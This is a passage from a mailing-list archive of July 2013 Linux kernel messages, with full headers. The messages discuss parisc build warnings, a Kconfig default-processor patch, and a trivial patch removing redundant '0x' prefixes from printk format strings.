Lines: 21
Approved: news@gmane.org
Message-ID: <1374675095.4634.6.camel@dabdike>
References: <51EF8C52.50403@asianux.com> <51EF8FED.9090903@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1374675124 23928 80.91.229.3 (24 Jul 2013 14:12:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jul 2013 14:12:04 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Chen Gang <gang.chen@asianux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 24 16:12:03 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V1znN-0005Mq-MW
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Jul 2013 16:12:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751989Ab3GXOLi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Jul 2013 10:11:38 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35793 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751222Ab3GXOLh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Jul 2013 10:11:37 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id AB4E88EE101;
	Wed, 24 Jul 2013 07:11:36 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 4SkmNSDQ7VH9; Wed, 24 Jul 2013 07:11:36 -0700 (PDT)
Original-Received: from [10.0.0.2] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 4C2808EE0CE;
	Wed, 24 Jul 2013 07:11:36 -0700 (PDT)
In-Reply-To: <51EF8FED.9090903@asianux.com>
X-Mailer: Evolution 3.8.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5216
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5216>

On Wed, 2013-07-24 at 16:27 +0800, Chen Gang wrote:
> Hello Maintainers:
> 
> When building parisc with allmodconfig by 'hppa64-linux-gnu-', I find section mismatch warnings.
> 
> I am not quite sure whether they will cause real issue or not, please
> help check, thanks.

I think you need to try a new compiler before we start looking at issues
that don't show up in our build.  However, since it doesn't show up in
the parisc build, I don't actually think it's real, since it's a
temporary label in core code.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang F T <chen.gang.flying.transformer@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Suggestion] parisc: kernel: about section mismatch warning.
Date: Thu, 25 Jul 2013 07:58:41 +0800
Lines: 29
Approved: news@gmane.org
Message-ID: <51F06A31.9090408@gmail.com>
References: <51EF8C52.50403@asianux.com> <51EF8FED.9090903@asianux.com> <1374675095.4634.6.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1374710386 4609 80.91.229.3 (24 Jul 2013 23:59:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jul 2013 23:59:46 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 25 01:59:47 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V28yA-00028i-RJ
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Jul 2013 01:59:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752872Ab3GXX7q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Jul 2013 19:59:46 -0400
Original-Received: from mail-pd0-f176.google.com ([209.85.192.176]:42936 "EHLO
	mail-pd0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752805Ab3GXX7p (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Jul 2013 19:59:45 -0400
Original-Received: by mail-pd0-f176.google.com with SMTP id t12so980359pdi.21
        for <linux-parisc@vger.kernel.org>; Wed, 24 Jul 2013 16:59:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=tpC09sIh1syXK6sdX6piNF427Zsno201SWgRxpJeFqI=;
        b=YO9ARTNFZOrcXGdBpz7Xrql+hny1AT92484fiGkgexQZD3IPl9cIEt+4ZxYzpKrYNI
         /NGmOQUraWFIJ/M/9qIsNzbaq0HVGcwHbGSY+yyaDIwqsirDPli4JqiNJnDE8tVgoShx
         b2QJzBgOJfBPm1en3mdJ8jFw9IgOM4BX31LwN4fAO9LV6u5oxN664JCvGN08toQSCDGa
         WP/bR/4T94sL9XrP+5dh4Dk64Gf3UH4lUowPaq595fGAi6oo+9kiYj9h/R1vSSfLKJph
         KB5dQuj3zdRbSs6QJNX+fePpur6fpURxM4Xpt9mD4BPITpnEhKdpksE/eKV1grCP/OYp
         o9RA==
X-Received: by 10.68.171.35 with SMTP id ar3mr44588703pbc.61.1374710385257;
        Wed, 24 Jul 2013 16:59:45 -0700 (PDT)
Original-Received: from [10.1.0.143] ([219.143.36.82])
        by mx.google.com with ESMTPSA id eq5sm50369856pbc.15.2013.07.24.16.59.41
        for <multiple recipients>
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Wed, 24 Jul 2013 16:59:44 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <1374675095.4634.6.camel@dabdike>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5217
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5217>

On 07/24/2013 10:11 PM, James Bottomley wrote:
> On Wed, 2013-07-24 at 16:27 +0800, Chen Gang wrote:
>> Hello Maintainers:
>>
>> When building parisc with allmodconfig by 'hppa64-linux-gnu-', I find section mismatch warnings.
>>
>> I am not quite sure whether they will cause real issue or not, please
>> help check, thanks.
> 
> I think you need to try a new compiler before we start looking at issues
> that don't show up in our build.  However, since it doesn't show up in
> the parisc build, I don't actually think it's real, since it's a
> temporary label in core code.
> 

OK, thanks, I should use a new compiler for it, I will continue.

And welcome any additional suggestions or completions (especially the
information about parisc compiler).


Thanks.
-- 
Chen Gang
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang F T <chen.gang.flying.transformer@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Kconfig: use 'PA8X00' as the default choise instead
 of 'PA7000'
Date: Thu, 25 Jul 2013 08:37:06 +0800
Lines: 91
Approved: news@gmane.org
Message-ID: <51F07332.6030908@gmail.com>
References: <51EF8C52.50403@asianux.com> <1374674443.4634.3.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1374712696 25224 80.91.229.3 (25 Jul 2013 00:38:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Jul 2013 00:38:16 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 25 02:38:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V29ZQ-0001uc-QL
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Jul 2013 02:38:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752871Ab3GYAiQ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Jul 2013 20:38:16 -0400
Original-Received: from mail-pa0-f52.google.com ([209.85.220.52]:42915 "EHLO
	mail-pa0-f52.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752685Ab3GYAiP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Jul 2013 20:38:15 -0400
Original-Received: by mail-pa0-f52.google.com with SMTP id kq13so1299190pab.11
        for <linux-parisc@vger.kernel.org>; Wed, 24 Jul 2013 17:38:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=GcAJGAm3CDOpAj3Im69IZm96T9wgok2QW5XfWjEBjKE=;
        b=LWwnpgbyOUivfCbXA3H54qLS5EDB7SC3YIc6wqIUHhkV734AqL2Darq+Y2K9fOA/hA
         QRi6rClcLpgEzN5sXHscKGquXzCww3agWGt65Nv9Sc8auFfmEDiMEi0Br6EiCR9Tes10
         wWqW8cpZCKSuycBCeuGqVqmvX9ykUwExlhO+9+dLE66lJiNKTGeDeZW8+EpkdmWXkDXb
         c9lLmQ6ih8zzOPf1UEaq61aKZtZFS8T9I05JCYiBNnb1+GkeMpH8nRswLfIE1ELcDXu7
         5vVIXsA8bsCDYVt/I3mg8N6s5By+GYRj6Bly9mEa8hStvOkuV2Qv7BvB9JhGjqsQ/zhj
         RvnA==
X-Received: by 10.66.2.7 with SMTP id 7mr6210022paq.181.1374712695033;
        Wed, 24 Jul 2013 17:38:15 -0700 (PDT)
Original-Received: from [10.1.0.143] ([219.143.36.82])
        by mx.google.com with ESMTPSA id uj1sm54062817pac.21.2013.07.24.17.38.10
        for <multiple recipients>
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Wed, 24 Jul 2013 17:38:14 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <1374674443.4634.3.camel@dabdike>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5218
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5218>

On 07/24/2013 10:00 PM, James Bottomley wrote:
>=20
> On Wed, 2013-07-24 at 16:12 +0800, Chen Gang wrote:
>> For server, 64-bit kernel is widely used and '64BIT' have been alrea=
dy
>> as the default option of a server.
>>
>> So better to use 64-bit kernel as default choise instead of 32-bit
>> kernel.
>=20
> I think this is irrelevant since we have defconfig for this.  You
> apparent request doesn't match the code below.
>=20

Hmm... but I still suggest when use 'allmodconfig' let 64-bit as the
default choice (normally 64-bit is the default choice for servers).

>> Or when use cross-compiler 'hppa64-linux-gnu-gcc' with allmodconfig,=
 it
>> will report BUILD_BUG_ON:
>>
>>   arch/parisc/mm/init.c: In function =E2=80=98mem_init=E2=80=99:
>>   arch/parisc/mm/init.c:581:2: error: call to =E2=80=98__compiletime=
_assert_581=E2=80=99 declared with attribute error: BUILD_BUG_ON failed=
: PTE_ENTRY_SIZE !=3D sizeof(pte_t)
>=20
> This shows you're using a buggy compiler.  PTE_OFFSET_SIZE is generat=
ed
> as part of the build process, so you need a correct compiler.
>=20

Hmm... It means the compiler assumes to build 64-bit code (hppa64), but
our configuration is for 32-bit, they are mismatch.

Maybe we can say hppa64-linux-gnu-gcc can not build the 32-bit parisc
code (although it is not precise), but at least, it is not a real bug.

This contents wants to say: when use 'allmodconfig' for a server, we do
not build a 64-bit server.


>> Signed-off-by: Chen Gang <gang.chen@asianux.com>
>> ---
>>  arch/parisc/Kconfig |    2 +-
>>  1 files changed, 1 insertions(+), 1 deletions(-)
>>
>> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
>> index aa399a5..37bdecf 100644
>> --- a/arch/parisc/Kconfig
>> +++ b/arch/parisc/Kconfig
>> @@ -111,7 +111,7 @@ menu "Processor type and features"
>> =20
>>  choice
>>  	prompt "Processor type"
>> -	default PA7000
>> +	default PA8X00
>=20
> This doesn't require 64 bit: PA8xxx processors can operate happily in=
 32
> bit mode it does make the question appear, since PA7xxx are 32 bit on=
ly.
>=20

Yeah, 'PA8X00' can compitable with 32-bit, but it likes 64-bit, the
following config files are for 'PA8X00':

  a500_defconfig: for 64-bit
  c3000_defconfig: for 32-bit
  c8000_defconfig: for 64-bit
  generic-64bit_defconfig: for 64-bit

At least, we can say PA8xxx is a 64-bit processor for parisc, is it
correct ?

And for 'allmodconfig', if let 'PA8X00' as default choice, it will buil=
d
64-bit kernel.


Thanks.
--=20
Chen Gang

--=20
Chen Gang
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network,gmane.linux.alsa.devel
Subject: [trivial PATCH] treewide: Fix printks with 0x%#
Date: Thu, 25 Jul 2013 11:53:25 -0700
Lines: 108
Approved: news@gmane.org
Message-ID: <1374778405.1957.21.camel@joe-AO722>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1374778412 15200 80.91.229.3 (25 Jul 2013 18:53:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Jul 2013 18:53:32 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>, Helge Deller
 <deller@gmx.de>,  John Stultz <john.stultz@linaro.org>, Thomas Gleixner
 <tglx@linutronix.de>, Daniele Venzano <venza@brownhat.org>, Andi Kleen
 <andi@firstfloor.org>, Jaroslav Kysela <perex@perex.cz>, Takashi Iwai
 <tiwai@suse.de>, linux-parisc@vger.kernel.org, 
 linux-kernel@vger.kernel.org, netdev@vger.kernel.org, linux-mm@kvack.org, 
 alsa-devel <alsa-devel@alsa-project.org>
To: Jiri Kosina <trivial@kernel.org>
Original-X-From: owner-linux-mm@kvack.org Thu Jul 25 20:53:33 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1V2QfJ-0000Tc-Sf
	for glkm-linux-mm-2@m.gmane.org; Thu, 25 Jul 2013 20:53:30 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 033466B0031; Thu, 25 Jul 2013 14:53:28 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id F04446B0033; Thu, 25 Jul 2013 14:53:27 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id D83FA6B0034; Thu, 25 Jul 2013 14:53:27 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx162.postini.com [74.125.245.162])
	by kanga.kvack.org (Postfix) with SMTP id 5D1E86B0031
	for <linux-mm@kvack.org>; Thu, 25 Jul 2013 14:53:27 -0400 (EDT)
Original-Received: from labridge.com ([206.117.179.246]) (using SSLv3) by na3sys010amx162.postini.com ([74.125.244.10]) with SMTP;
	Thu, 25 Jul 2013 18:53:27 GMT
Original-Received: from [173.51.221.202] (account joe@perches.com HELO [192.168.1.152])
  by labridge.com (CommuniGate Pro SMTP 5.0.14)
  with ESMTPA id 21187337; Thu, 25 Jul 2013 11:53:26 -0700
X-Mailer: Evolution 3.6.4-0ubuntu1 
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:75.94693/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt4 gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <joe@perches.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:104002 gmane.linux.ports.parisc:5219 gmane.linux.kernel:1532323 gmane.linux.network:277326 gmane.linux.alsa.devel:110790
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/104002>


Using 0x%# emits 0x0x.  Only one is necessary.

Signed-off-by: Joe Perches <joe@perches.com>
---
 arch/parisc/kernel/signal.c       | 2 +-
 drivers/clocksource/acpi_pm.c     | 4 ++--
 drivers/net/ethernet/sis/sis900.c | 2 +-
 mm/memory-failure.c               | 2 +-
 sound/pci/ens1370.c               | 2 +-
 sound/pci/via82xx.c               | 2 +-
 6 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 940188d..35c5bf1 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -85,7 +85,7 @@ restore_sigcontext(struct sigcontext __user *sc, struct pt_regs *regs)
 	err |= __copy_from_user(regs->iaoq, sc->sc_iaoq, sizeof(regs->iaoq));
 	err |= __copy_from_user(regs->iasq, sc->sc_iasq, sizeof(regs->iasq));
 	err |= __get_user(regs->sar, &sc->sc_sar);
-	DBG(2,"restore_sigcontext: iaoq is 0x%#lx / 0x%#lx\n", 
+	DBG(2,"restore_sigcontext: iaoq is %#lx / %#lx\n",
 			regs->iaoq[0],regs->iaoq[1]);
 	DBG(2,"restore_sigcontext: r28 is %ld\n", regs->gr[28]);
 	return err;
diff --git a/drivers/clocksource/acpi_pm.c b/drivers/clocksource/acpi_pm.c
index 6efe4d1..6eab889 100644
--- a/drivers/clocksource/acpi_pm.c
+++ b/drivers/clocksource/acpi_pm.c
@@ -200,14 +200,14 @@ static int __init init_acpi_pm_clocksource(void)
 			if ((value2 < value1) && ((value2) < 0xFFF))
 				break;
 			printk(KERN_INFO "PM-Timer had inconsistent results:"
-			       " 0x%#llx, 0x%#llx - aborting.\n",
+			       " %#llx, %#llx - aborting.\n",
 			       value1, value2);
 			pmtmr_ioport = 0;
 			return -EINVAL;
 		}
 		if (i == ACPI_PM_READ_CHECKS) {
 			printk(KERN_INFO "PM-Timer failed consistency check "
-			       " (0x%#llx) - aborting.\n", value1);
+			       " (%#llx) - aborting.\n", value1);
 			pmtmr_ioport = 0;
 			return -ENODEV;
 		}
diff --git a/drivers/net/ethernet/sis/sis900.c b/drivers/net/ethernet/sis/sis900.c
index eb4aea3..6c1e34c 100644
--- a/drivers/net/ethernet/sis/sis900.c
+++ b/drivers/net/ethernet/sis/sis900.c
@@ -1723,7 +1723,7 @@ static irqreturn_t sis900_interrupt(int irq, void *dev_instance)
 
 	if(netif_msg_intr(sis_priv))
 		printk(KERN_DEBUG "%s: exiting interrupt, "
-		       "interrupt status = 0x%#8.8x.\n",
+		       "interrupt status = %#8.8x\n",
 		       net_dev->name, sr32(isr));
 
 	spin_unlock (&sis_priv->lock);
diff --git a/mm/memory-failure.c b/mm/memory-failure.c
index 09ae111..29d3f38 100644
--- a/mm/memory-failure.c
+++ b/mm/memory-failure.c
@@ -1267,7 +1267,7 @@ void memory_failure_queue(unsigned long pfn, int trapno, int flags)
 	if (kfifo_put(&mf_cpu->fifo, &entry))
 		schedule_work_on(smp_processor_id(), &mf_cpu->work);
 	else
-		pr_err("Memory failure: buffer overflow when queuing memory failure at 0x%#lx\n",
+		pr_err("Memory failure: buffer overflow when queuing memory failure at %#lx\n",
 		       pfn);
 	spin_unlock_irqrestore(&mf_cpu->lock, proc_flags);
 	put_cpu_var(memory_failure_cpu);
diff --git a/sound/pci/ens1370.c b/sound/pci/ens1370.c
index ca8929b..61262f3 100644
--- a/sound/pci/ens1370.c
+++ b/sound/pci/ens1370.c
@@ -1842,7 +1842,7 @@ static int snd_ensoniq_create_gameport(struct ensoniq *ensoniq, int dev)
 
 	default:
 		if (!request_region(io_port, 8, "ens137x: gameport")) {
-			printk(KERN_WARNING "ens137x: gameport io port 0x%#x in use\n",
+			printk(KERN_WARNING "ens137x: gameport io port %#x in use\n",
 			       io_port);
 			return -EBUSY;
 		}
diff --git a/sound/pci/via82xx.c b/sound/pci/via82xx.c
index 3c511d0..5ae6f04 100644
--- a/sound/pci/via82xx.c
+++ b/sound/pci/via82xx.c
@@ -1940,7 +1940,7 @@ static int snd_via686_create_gameport(struct via82xx *chip, unsigned char *legac
 
 	r = request_region(JOYSTICK_ADDR, 8, "VIA686 gameport");
 	if (!r) {
-		printk(KERN_WARNING "via82xx: cannot reserve joystick port 0x%#x\n",
+		printk(KERN_WARNING "via82xx: cannot reserve joystick port %#x\n",
 		       JOYSTICK_ADDR);
 		return -EBUSY;
 	}



--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:09:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network,gmane.linux.kernel.mm,gmane.linux.alsa.devel
Subject: Re: [trivial PATCH] treewide: Fix printks with 0x%#
Date: Fri, 26 Jul 2013 07:35:55 +0200
Lines: 118
Approved: news@gmane.org
Message-ID: <s5h38r19938.wl%tiwai@suse.de>
References: <1374778405.1957.21.camel@joe-AO722>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1374816868 14537 80.91.229.3 (26 Jul 2013 05:34:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Jul 2013 05:34:28 +0000 (UTC)
Cc: Jiri Kosina <trivial@kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John Stultz <john.stultz@linaro.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	Daniele Venzano <venza@brownhat.org>,
	Andi Kleen <andi@firstfloor.org>,
	Jaroslav Kysela <perex@perex.cz>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, netdev@vger.kernel.org,
	linux-mm@kvack.org, alsa-devel <alsa-devel@alsa-project.org>
To: Joe Perches <joe@perches.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 26 07:34:27 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V2afa-00070j-6X
	for glpp-linux-parisc@plane.gmane.org; Fri, 26 Jul 2013 07:34:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751322Ab3GZFeZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Jul 2013 01:34:25 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:43982 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750961Ab3GZFeY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Jul 2013 01:34:24 -0400
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id A84C9A398F;
	Fri, 26 Jul 2013 07:34:22 +0200 (CEST)
In-Reply-To: <1374778405.1957.21.camel@joe-AO722>
User-Agent: Wanderlust/2.15.9 (Almost Unreal) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.9 (=?UTF-8?B?R29qxY0=?=) APEL/10.8 Emacs/24.2
 (x86_64-suse-linux-gnu) MULE/6.0 (HANACHIRUSATO)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5220 gmane.linux.kernel:1532553 gmane.linux.network:277353 gmane.linux.kernel.mm:104027 gmane.linux.alsa.devel:110802
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5220>

At Thu, 25 Jul 2013 11:53:25 -0700,
Joe Perches wrote:
> 
> 
> Using 0x%# emits 0x0x.  Only one is necessary.
> 
> Signed-off-by: Joe Perches <joe@perches.com>

Acked-by: Takashi Iwai <tiwai@suse.de>


thanks,

Takashi

> ---
>  arch/parisc/kernel/signal.c       | 2 +-
>  drivers/clocksource/acpi_pm.c     | 4 ++--
>  drivers/net/ethernet/sis/sis900.c | 2 +-
>  mm/memory-failure.c               | 2 +-
>  sound/pci/ens1370.c               | 2 +-
>  sound/pci/via82xx.c               | 2 +-
>  6 files changed, 7 insertions(+), 7 deletions(-)
> 
> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
> index 940188d..35c5bf1 100644
> --- a/arch/parisc/kernel/signal.c
> +++ b/arch/parisc/kernel/signal.c
> @@ -85,7 +85,7 @@ restore_sigcontext(struct sigcontext __user *sc, struct pt_regs *regs)
>  	err |= __copy_from_user(regs->iaoq, sc->sc_iaoq, sizeof(regs->iaoq));
>  	err |= __copy_from_user(regs->iasq, sc->sc_iasq, sizeof(regs->iasq));
>  	err |= __get_user(regs->sar, &sc->sc_sar);
> -	DBG(2,"restore_sigcontext: iaoq is 0x%#lx / 0x%#lx\n", 
> +	DBG(2,"restore_sigcontext: iaoq is %#lx / %#lx\n",
>  			regs->iaoq[0],regs->iaoq[1]);
>  	DBG(2,"restore_sigcontext: r28 is %ld\n", regs->gr[28]);
>  	return err;
> diff --git a/drivers/clocksource/acpi_pm.c b/drivers/clocksource/acpi_pm.c
> index 6efe4d1..6eab889 100644
> --- a/drivers/clocksource/acpi_pm.c
> +++ b/drivers/clocksource/acpi_pm.c
> @@ -200,14 +200,14 @@ static int __init init_acpi_pm_clocksource(void)
>  			if ((value2 < value1) && ((value2) < 0xFFF))
>  				break;
>  			printk(KERN_INFO "PM-Timer had inconsistent results:"
> -			       " 0x%#llx, 0x%#llx - aborting.\n",
> +			       " %#llx, %#llx - aborting.\n",
>  			       value1, value2);
>  			pmtmr_ioport = 0;
>  			return -EINVAL;
>  		}
>  		if (i == ACPI_PM_READ_CHECKS) {
>  			printk(KERN_INFO "PM-Timer failed consistency check "
> -			       " (0x%#llx) - aborting.\n", value1);
> +			       " (%#llx) - aborting.\n", value1);
>  			pmtmr_ioport = 0;
>  			return -ENODEV;
>  		}
> diff --git a/drivers/net/ethernet/sis/sis900.c b/drivers/net/ethernet/sis/sis900.c
